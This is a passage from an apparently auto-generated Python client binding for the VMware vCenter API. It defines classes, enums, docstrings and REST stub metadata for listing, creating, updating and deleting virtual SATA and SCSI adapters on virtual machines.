``com.vmware.vcenter.vm.hardware.SataAdapter``.
:rtype: :class:`Sata.Info`
:return: Information about the specified virtual SATA adapter.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual SATA adapter is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('get',
{
'vm': vm,
'adapter': adapter,
})
def create(self,
vm,
spec,
):
"""
Adds a virtual SATA adapter to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type spec: :class:`Sata.CreateSpec`
:param spec: Specification for the new virtual SATA adapter.
:rtype: :class:`str`
:return: Virtual SATA adapter identifier.
The return value will be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SataAdapter``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reported that the SATA adapter was created but was
unable to confirm the creation because the identifier of the new
adapter could not be determined.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is suspended
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.UnableToAllocateResource`
if there are no more available SATA buses on the virtual machine.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInUse`
if the specified SATA bus or PCI address is in use.
:raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument`
if the specified SATA bus or PCI address is out of bounds.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
:raise: :class:`com.vmware.vapi.std.errors_client.Unsupported`
if the guest operating system of the virtual machine is not
supported and spec includes None attributes that default to
guest-specific values.
"""
return self._invoke('create',
{
'vm': vm,
'spec': spec,
})
def delete(self,
vm,
adapter,
):
"""
Removes a virtual SATA adapter from the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type adapter: :class:`str`
:param adapter: Virtual SATA adapter identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.SataAdapter``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is suspended
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual SATA adapter is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('delete',
{
'vm': vm,
'adapter': adapter,
})
class Scsi(VapiInterface):
"""
The ``Scsi`` class provides methods for configuring the virtual SCSI
adapters of a virtual machine.
"""
RESOURCE_TYPE = "com.vmware.vcenter.vm.hardware.ScsiAdapter"
"""
Resource type for the virtual SCSI adapter device.
"""
_VAPI_SERVICE_ID = 'com.vmware.vcenter.vm.hardware.adapter.scsi'
"""
Identifier of the service in canonical form.
"""
def __init__(self, config):
"""
:type config: :class:`vmware.vapi.bindings.stub.StubConfiguration`
:param config: Configuration to be used for creating the stub.
"""
VapiInterface.__init__(self, config, _ScsiStub)
self._VAPI_OPERATION_IDS = {}
class Type(Enum):
"""
The ``Scsi.Type`` class defines the valid emulation types for a virtual
SCSI adapter.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
BUSLOGIC = None
"""
BusLogic host bus adapter.
"""
LSILOGIC = None
"""
LSI Logic host bus adapter.
"""
LSILOGICSAS = None
"""
LSI Logic SAS 1068 host bus adapter.
"""
PVSCSI = None
"""
Paravirtualized host bus adapter.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`Type` instance.
"""
Enum.__init__(string)
Type._set_values([
Type('BUSLOGIC'),
Type('LSILOGIC'),
Type('LSILOGICSAS'),
Type('PVSCSI'),
])
Type._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.adapter.scsi.type',
Type))
class Sharing(Enum):
"""
The ``Scsi.Sharing`` class defines the valid bus sharing modes for a
virtual SCSI adapter.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
NONE = None
"""
The virtual SCSI bus is not shared.
"""
VIRTUAL = None
"""
The virtual SCSI bus is shared between two or more virtual machines. In
this case, no physical machine is involved.
"""
PHYSICAL = None
"""
The virtual SCSI bus is shared between two or more virtual machines
residing on different physical hosts.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`Sharing` instance.
"""
Enum.__init__(string)
Sharing._set_values([
Sharing('NONE'),
Sharing('VIRTUAL'),
Sharing('PHYSICAL'),
])
Sharing._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.adapter.scsi.sharing',
Sharing))
class Info(VapiStruct):
"""
The ``Scsi.Info`` class contains information about a virtual SCSI adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
label=None,
type=None,
scsi=None,
pci_slot_number=None,
sharing=None,
):
"""
:type label: :class:`str`
:param label: Device label.
:type type: :class:`Scsi.Type`
:param type: Adapter type.
:type scsi: :class:`com.vmware.vcenter.vm.hardware_client.ScsiAddressInfo`
:param scsi: Address of the SCSI adapter on the SCSI bus.
:type pci_slot_number: :class:`long` or ``None``
:param pci_slot_number: Address of the SCSI adapter on the PCI bus. If the PCI address is
invalid, the server will change it when the VM is started or as the
device is hot added.
May be None if the virtual machine has never been powered on since
the adapter was created.
:type sharing: :class:`Scsi.Sharing`
:param sharing: Bus sharing mode.
"""
self.label = label
self.type = type
self.scsi = scsi
self.pci_slot_number = pci_slot_number
self.sharing = sharing
VapiStruct.__init__(self)
Info._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.adapter.scsi.info', {
'label': type.StringType(),
'type': type.ReferenceType(__name__, 'Scsi.Type'),
'scsi': type.ReferenceType('com.vmware.vcenter.vm.hardware_client', 'ScsiAddressInfo'),
'pci_slot_number': type.OptionalType(type.IntegerType()),
'sharing': type.ReferenceType(__name__, 'Scsi.Sharing'),
},
Info,
False,
None))
class CreateSpec(VapiStruct):
"""
The ``Scsi.CreateSpec`` class provides a specification for the
configuration of a newly-created virtual SCSI adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
type=None,
bus=None,
pci_slot_number=None,
sharing=None,
):
"""
:type type: :class:`Scsi.Type` or ``None``
:param type: Adapter type.
If None, a guest-specific default value will be used.
:type bus: :class:`long` or ``None``
:param bus: SCSI bus number.
If None, the server will choose an available bus number; if none is
available, the request will fail.
:type pci_slot_number: :class:`long` or ``None``
:param pci_slot_number: Address of the SCSI adapter on the PCI bus. If the PCI address is
invalid, the server will change it when the VM is started or as the
device is hot added.
If None, the server will choose an available address when the
virtual machine is powered on.
:type sharing: :class:`Scsi.Sharing` or ``None``
:param sharing: Bus sharing mode.
If None, the adapter will default to :attr:`Scsi.Sharing.NONE`.
"""
self.type = type
self.bus = bus
self.pci_slot_number = pci_slot_number
self.sharing = sharing
VapiStruct.__init__(self)
CreateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.adapter.scsi.create_spec', {
'type': type.OptionalType(type.ReferenceType(__name__, 'Scsi.Type')),
'bus': type.OptionalType(type.IntegerType()),
'pci_slot_number': type.OptionalType(type.IntegerType()),
'sharing': type.OptionalType(type.ReferenceType(__name__, 'Scsi.Sharing')),
},
CreateSpec,
False,
None))
class UpdateSpec(VapiStruct):
"""
The ``Scsi.UpdateSpec`` class describes the updates to be made to the
configuration of a virtual SCSI adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
sharing=None,
):
"""
:type sharing: :class:`Scsi.Sharing` or ``None``
:param sharing: Bus sharing mode.
This attribute may only be modified if the virtual machine is not
powered on.
If None, the value is unchanged.
"""
self.sharing = sharing
VapiStruct.__init__(self)
UpdateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.adapter.scsi.update_spec', {
'sharing': type.OptionalType(type.ReferenceType(__name__, 'Scsi.Sharing')),
},
UpdateSpec,
False,
None))
class Summary(VapiStruct):
"""
The ``Scsi.Summary`` class contains commonly used information about a
Virtual SCSI adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
adapter=None,
):
"""
:type adapter: :class:`str`
:param adapter: Identifier of the virtual SCSI adapter.
When clients pass a value of this class as a parameter, the
attribute must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ScsiAdapter``. When methods return
a value of this class as a return value, the attribute will be an
identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ScsiAdapter``.
"""
self.adapter = adapter
VapiStruct.__init__(self)
Summary._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.adapter.scsi.summary', {
'adapter': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ScsiAdapter'),
},
Summary,
False,
None))
def list(self,
vm,
):
"""
Returns commonly used information about the virtual SCSI adapters
belonging to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:rtype: :class:`list` of :class:`Scsi.Summary`
:return: List of commonly used information about virtual SCSI adapters.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('list',
{
'vm': vm,
})
def get(self,
vm,
adapter,
):
"""
Returns information about a virtual SCSI adapter.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type adapter: :class:`str`
:param adapter: Virtual SCSI adapter identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ScsiAdapter``.
:rtype: :class:`Scsi.Info`
:return: Information about the specified virtual SCSI adapter.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual SCSI adapter is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('get',
{
'vm': vm,
'adapter': adapter,
})
def create(self,
vm,
spec,
):
"""
Adds a virtual SCSI adapter to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type spec: :class:`Scsi.CreateSpec`
:param spec: Specification for the new virtual SCSI adapter.
:rtype: :class:`str`
:return: Virtual SCSI adapter identifier.
The return value will be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ScsiAdapter``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reported that the SCSI adapter was created but was
unable to confirm the creation because the identifier of the new
adapter could not be determined.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is suspended
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.UnableToAllocateResource`
if there are no more available SCSI buses on the virtual machine.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInUse`
if the specified SCSI bus is in use.
:raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument`
if the specified SATA bus or PCI address is out of bounds.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
:raise: :class:`com.vmware.vapi.std.errors_client.Unsupported`
if the guest operating system of the virtual machine is not
supported and spec includes None attributes that default to
guest-specific values.
"""
return self._invoke('create',
{
'vm': vm,
'spec': spec,
})
def update(self,
vm,
adapter,
spec,
):
"""
Updates the configuration of a virtual SCSI adapter.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type adapter: :class:`str`
:param adapter: Virtual SCSI adapter identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ScsiAdapter``.
:type spec: :class:`Scsi.UpdateSpec`
:param spec: Specification for updating the virtual SCSI adapter.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual SCSI adapter is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if one or more of the attributes specified in the ``spec``
parameter cannot be modified due to the current power state of the
virtual machine or the connection state of the virtual SCSI
adapter.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('update',
{
'vm': vm,
'adapter': adapter,
'spec': spec,
})
def delete(self,
vm,
adapter,
):
"""
Removes a virtual SCSI adapter from the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type adapter: :class:`str`
:param adapter: Virtual SCSI adapter identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.ScsiAdapter``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is suspended
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual SCSI adapter is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('delete',
{
'vm': vm,
'adapter': adapter,
})
class _SataStub(ApiInterfaceStub):
def __init__(self, config):
# properties for list operation
list_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
})
list_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
list_input_value_validator_list = [
]
list_output_validator_list = [
]
list_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/adapter/sata',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for get operation
get_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'adapter': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.SataAdapter'),
})
get_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
get_input_value_validator_list = [
]
get_output_validator_list = [
]
get_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/adapter/sata/{adapter}',
path_variables={
'vm': 'vm',
'adapter': 'adapter',
},
query_parameters={
}
)
# properties for create operation
create_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'spec': type.ReferenceType(__name__, 'Sata.CreateSpec'),
})
create_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.unable_to_allocate_resource':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'UnableToAllocateResource'),
'com.vmware.vapi.std.errors.resource_in_use':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInUse'),
'com.vmware.vapi.std.errors.invalid_argument':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
'com.vmware.vapi.std.errors.unsupported':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unsupported'),
}
create_input_value_validator_list = [
]
create_output_validator_list = [
]
create_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/adapter/sata',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for delete operation
delete_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'adapter': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.SataAdapter'),
})
delete_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
delete_input_value_validator_list = [
]
delete_output_validator_list = [
]
delete_rest_metadata = OperationRestMetadata(
http_method='DELETE',
url_template='/vcenter/vm/{vm}/hardware/adapter/sata/{adapter}',
path_variables={
'vm': 'vm',
'adapter': 'adapter',
},
query_parameters={
}
)
operations = {
'list': {
'input_type': list_input_type,
'output_type': type.ListType(type.ReferenceType(__name__, 'Sata.Summary')),
'errors': list_error_dict,
'input_value_validator_list': list_input_value_validator_list,
'output_validator_list': list_output_validator_list,
'task_type': TaskType.NONE,
},
'get': {
'input_type': get_input_type,
'output_type': type.ReferenceType(__name__, 'Sata.Info'),
'errors': get_error_dict,
'input_value_validator_list': get_input_value_validator_list,
'output_validator_list': get_output_validator_list,
'task_type': TaskType.NONE,
},
'create': {
'input_type': create_input_type,
'output_type': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.SataAdapter'),
'errors': create_error_dict,
'input_value_validator_list': create_input_value_validator_list,
'output_validator_list': create_output_validator_list,
'task_type': TaskType.NONE,
},
'delete': {
'input_type': delete_input_type,
'output_type': type.VoidType(),
'errors': delete_error_dict,
'input_value_validator_list': delete_input_value_validator_list,
'output_validator_list': delete_output_validator_list,
'task_type': TaskType.NONE,
},
}
rest_metadata = {
'list': list_rest_metadata,
'get': get_rest_metadata,
'create': create_rest_metadata,
'delete': delete_rest_metadata,
}
ApiInterfaceStub.__init__(
self, iface_name='com.vmware.vcenter.vm.hardware.adapter.sata',
config=config, operations=operations, rest_metadata=rest_metadata,
is_vapi_rest=True)
class _ScsiStub(ApiInterfaceStub):
def __init__(self, config):
# properties for list operation
list_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
})
list_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
list_input_value_validator_list = [
]
list_output_validator_list = [
]
list_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/adapter/scsi',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for get operation
get_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'adapter': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ScsiAdapter'),
})
get_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
get_input_value_validator_list = [
]
get_output_validator_list = [
]
get_rest_metadata = OperationRestMetadata(
http_method='GET',
url_template='/vcenter/vm/{vm}/hardware/adapter/scsi/{adapter}',
path_variables={
'vm': 'vm',
'adapter': 'adapter',
},
query_parameters={
}
)
# properties for create operation
create_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'spec': type.ReferenceType(__name__, 'Scsi.CreateSpec'),
})
create_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.unable_to_allocate_resource':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'UnableToAllocateResource'),
'com.vmware.vapi.std.errors.resource_in_use':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInUse'),
'com.vmware.vapi.std.errors.invalid_argument':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidArgument'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
'com.vmware.vapi.std.errors.unsupported':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unsupported'),
}
create_input_value_validator_list = [
]
create_output_validator_list = [
]
create_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/adapter/scsi',
path_variables={
'vm': 'vm',
},
query_parameters={
}
)
# properties for update operation
update_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'adapter': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.ScsiAdapter'),
'spec': type.ReferenceType(__name__, 'Scsi.UpdateSpec'),
})
update_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
update_input_value_validator_list = [
]
update_output_validator_list = [
]
